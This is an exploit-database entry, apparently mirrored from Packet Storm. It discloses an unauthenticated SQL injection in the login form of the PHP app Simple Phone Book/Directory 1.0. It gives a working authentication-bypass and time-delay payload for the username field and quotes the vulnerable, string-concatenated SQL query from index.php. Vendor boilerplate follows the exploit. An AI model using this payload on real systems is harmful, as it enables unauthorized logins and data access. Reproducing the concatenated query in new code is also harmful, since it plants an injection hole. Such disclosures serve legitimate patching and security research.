Lucene search
K

Simple Phone Book/Directory 1.0 SQL Injection

🗓️ 22 Aug 2021 00:00:00Reported by Justin WhiteType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 406 Views

Simple Phone Book/Directory 1.0 SQL Injection on Vulnerable Pag

Code
`# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)  
# Date: 21/08/2021  
# Exploit Author: Justin White  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html  
# Version: 1.0  
# Testeted on: Linux (Ubuntu 20.04) using LAMPP  
  
## SQL Injection  
  
# Vulnerable page  
http://localhost/PhoneBook/index.php  
  
# Vulnerable paramater   
username1 & password  
  
# POC  
Username = ' or sleep(5)='-- -  
Password = ' '  
  
Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"  
  
# Vulnerable Code  
index.php line 13  
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation